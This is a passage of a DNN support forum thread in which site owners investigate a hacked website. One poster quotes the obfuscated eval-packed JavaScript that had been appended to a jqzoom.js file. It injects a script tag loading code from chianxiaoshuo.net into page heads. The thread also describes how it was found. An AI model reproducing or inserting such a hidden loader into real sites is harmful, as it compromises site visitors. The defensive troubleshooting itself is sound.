DNN Forums

Ask questions about your website to get help learning DNN and help resolve issues.
Prev
Next

hacked with unknown image

Forums > Administration and Configuration
Sort:
You are not authorized to post a reply.
Page 2 of 2 << < 12





Tycho de Waard (SU)

Veteran Member



Posts:729
Veteran Member




4/21/2022 12:14 PM
    Just an FYI, Franc: I did not receive any credentials.
    Tjep's digital agencyRegards,
    Tycho de Waard

    Tjep's digital agency
    We just love DNN
    https://www.tjeps.com





    Franc

    Growing Member



    Posts:46
    Growing Member




    4/21/2022 12:55 PM

      the ip address is [Removed by Host - do not publish IP addresses] I emailed the credential a minute ago from [Removed by Host - do not publish email addresses] this info is the the email as well






      bicklp

      New Around Here



      Posts:5
      New Around Here




      8/11/2022 4:36 AM
        Hi, did you find out what was causing this ... I have just taken over a client site and they have a script file being injected in to the head of their page that also goes to chianxiaoshuo
        <script type="text/javascript" src="https://www.chianxiaoshuo.net/api/main.js"></script>

        it is not in the source of the page so is coming from somewhere at runtime, its only on the main page of the site, not any sub pages so i thought it could be the skin file being used for the homepage but cannot see anything in there for it. i have looked for weird .aspx files and searched the database as in the previous messages ... cannot find where it is coming from ...

        Thanks





        bicklp

        New Around Here



        Posts:5
        New Around Here




        8/11/2022 4:58 AM

          never mind, i found it, something had been appended to the bottom of a jqzoom.js file 

          eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 1=2.5(\'1\');1.3(\'6\',\'7/8\');1.3(\'9\',"a://b.c.d/e/f.g");2.h(\'i\')[0].j(1);',20,20,'|script|document|setAttribute|var|createElement|type|text|javascript|src|https|www|chianxiaoshuo|net|api|main|js|getElementsByTagName|head|appendChild'.split('|'),0,{}));






          Franc

          Growing Member



          Posts:46
          Growing Member




          8/15/2022 9:58 AM

            how did you find it? I don't have a file jqzoom.js 






            bicklp

            New Around Here



            Posts:5
            New Around Here




            8/15/2022 10:07 AM
              It wasn't in the page source so was loading at run time. So did it the hard way :-/ ... loaded the page, went into the inspector then clicked on every js file to bring up the source and searched for the url in the code. Found it about the 5th file but went through the rest anyway. Must have had access to the root of the site at some point, probably from a telerick component and appended the code to the bottom of a random js file the site was using. If you have something that can index and search contents of all your files that will be easier but I didn't have that. Also as said above don't go on the file date, the files were dated years ago but I have a copy of the original file here from the install, same date, but no extra code.
              You are not authorized to post a reply.
              Page 2 of 2 << < 12

              These Forums are dedicated to the discussion of DNN Platform.

              For the benefit of the community and to protect the integrity of the ecosystem, please observe the following posting guidelines:

              1. If you have (suspected) security issues, please DO NOT post them in the forums but instead follow the official DNN security policy. 
              2. No Advertising. This includes the promotion of commercial and non-commercial products or services which are not directly related to DNN.
              3. No vendor trolling / poaching. If someone posts about a vendor issue, allow the vendor or other customers to respond. Any post that looks like trolling / poaching will be removed.
              4. Discussion or promotion of DNN Platform product releases under a different brand name are strictly prohibited.
              5. No Flaming or Trolling.
              6. No Profanity, Racism, or Prejudice.
              7. Site Moderators have the final word on approving / removing a thread or post or comment.
              8. English language posting only, please.

              Would you like to help us?

              Awesome! Simply post in the forums using the link below and we'll get you started.

              Get Involved